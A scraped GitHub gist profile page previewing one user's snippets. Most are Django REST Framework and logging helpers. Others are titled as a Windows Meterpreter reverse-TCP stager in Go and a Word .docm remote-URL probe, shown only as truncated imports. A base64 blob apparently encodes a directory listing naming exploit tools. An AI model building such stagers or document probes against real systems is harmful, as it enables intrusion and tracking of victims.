Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
I may be slow to respond.

akkuman

💭
I may be slow to respond.
View GitHub Profile
@akkuman
akkuman / django_logging_loki_example.py
Last active Nov 26, 2020
django使用loki场景下 dictConfig 样例
View django_logging_loki_example.py
"""
requirement:
pip install python_logging_loki
"""
from multiprocessing import Queue
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
View gist:7634bfce540eccc5b297a41540ee8683
nim c -d:danger --opt:size --passc=-flto --passl:-s main.nim
@akkuman
akkuman / chardet.js
Last active Nov 20, 2020
js猜测编码转换
View chardet.js
var jschardet = require("jschardet")
var iconv = require('iconv-lite')
var data = Buffer.from('ODAwICB1c2VybGlzdC50eHQKMTAwNjY2L3J3LXJ3LXJ3LSAgNjIwICAgICAgICAgZmlsICAgMjAyMC0wNi0xMiAxMzo1MDoxNiArMDgwMCAgd2FpdC5odG1sCjEwMDY2Ni9ydy1ydy1ydy0gIDUyNDI5NTEyICAgIGZpbCAgIDIwMjAtMDYtMTYgMDk6NTc6MjkgKzA4MDAgIHdlYl9zdGRlcnIubG9nLjkKMTAwNjY2L3J3LXJ3LXJ3LSAgODcxNzUzMDQgICAgZmlsICAgMjAyMC0xMC0yMCAxNzowNzoyMSArMDgwMCAgd2VibG9naWNfZXhwbG9pdC0xLjAtU05BUFNIT1QtYWxsLmphcgoxMDA3Nzcvcnd4cnd4cnd4ICAxNDEzMTIgICAgICBmaWwgICAyMDIwLTA0LTMwIDEwOjUxOjA2ICswODAwICB4eW50ZXN0KDEpLmV4ZQoxMDA3Nzcvcnd4cnd4cnd4ICAxNDEzMTIgICAgICBmaWwgICAyMDIwLTA0LTMwIDEwOjQxOjIzICswODAwICB4eW50ZXN0LmV4ZQoxMDA2NjYvcnctcnctcnctICA5NTUwICAgICAgICBmaWwgICAyMDIwLTA0LTI5IDE3OjU0OjQ5ICswODAwICB6aGFuZ3pob3UuZ292LmNuLmRucwoxMDA2NjYvcnctcnctcnctICAxMDQzODEgICAgICBmaWwgICAyMDIwLTA2LTAzIDA5OjI5OjMxICswODAwICDjgJDlronlhajlt6XnqIvluIggXyDmna3lt54yMDAtMjUwX+WkqeOAkemZiOWiqOeEtiDkuIDlubTku6XlhoUuZG9jeAoxMDA2NjYvcnctcnctcnctICAxMTI2OTQ2ICAgICBmaWwgICAyMDIwLTExLTA2IDA5OjU1OjU4
@akkuman
akkuman / docpatch.py
Created Nov 20, 2020
docm远程加载url探针
View docpatch.py
import os
import uuid
import shutil
import zipfile
import lxml.etree
def inplace_change(filename, old_string, new_string):
"""打开文件替换字符串"""
s = ''
with open(filename) as f:
@akkuman
akkuman / channels2.x_get_user_from_token.py
Created Nov 5, 2020
channels 2.x验证中间件(从url参数中获取token进行验证)
View channels2.x_get_user_from_token.py
# websocket middleware
from channels.middleware import BaseMiddleware
from channels.auth import UserLazyObject
from django.conf import settings
from importlib import import_module
from channels.auth import get_user
from urllib.parse import parse_qs
@akkuman
akkuman / tree_table_serializer_model.py
Created Nov 5, 2020
树状表适用的model serializer(不检查外键存在与否,不存在的外键自动置为0)
View tree_table_serializer_model.py
class PrimaryKeyRelatedField(serializers.PrimaryKeyRelatedField):
"""主要是为了避免当外键为0这种情况的发生,比如树状表"""
def to_internal_value(self, data):
if self.pk_field is not None:
data = self.pk_field.to_internal_value(data)
try:
return self.get_queryset().get(pk=data)
except ObjectDoesNotExist:
return self.get_queryset().model(pk=0)
except (TypeError, ValueError):
@akkuman
akkuman / drf.get_permissions.py
Created Oct 29, 2020
drf中根据不同的action分发不同的权限
View drf.get_permissions.py
class WhiteListViewSet(ModelViewSet):
queryset = WhiteList.objects.all()
serializer_class = WhiteListSerializer
permission_classes = [IsAdminUser]
pagination_class = None
def get_permissions(self):
"""
根据不同的action获取不同的权限校验中间件
"""
@akkuman
akkuman / serializer_bigintfield.py
Last active Oct 16, 2020
drf框架里面的针对bigint字段的序列化字段,主要原因是前端js对于bigint类型字段会有精度缺失
View serializer_bigintfield.py
import copy
from rest_framework import serializers
from django.db import models
from rest_framework.fields import IntegerField
class BigIntegerField(IntegerField):
def to_representation(self, value):
return str(value)
@akkuman
akkuman / serializer_jsonfield.py
Created Sep 29, 2020
drf框架里面的json字符串field改版,主要是针对model字段为text
View serializer_jsonfield.py
import json
from django.utils.translation import gettext_lazy as _
class MyJSONField(Field):
default_error_messages = {
'invalid': _('Value must be valid JSON.')
}
def __init__(self, *args, **kwargs):
@akkuman
akkuman / windows.meterpreter.reverse_tcp.stagers.go
Created Jul 1, 2020
golang编写的windows/meterpreter/reverse_tcp stagers
View windows.meterpreter.reverse_tcp.stagers.go
package main
import (
"encoding/binary"
"errors"
"io"
"net"
"reflect"
"strings"
"syscall"
You can’t perform that action at this time.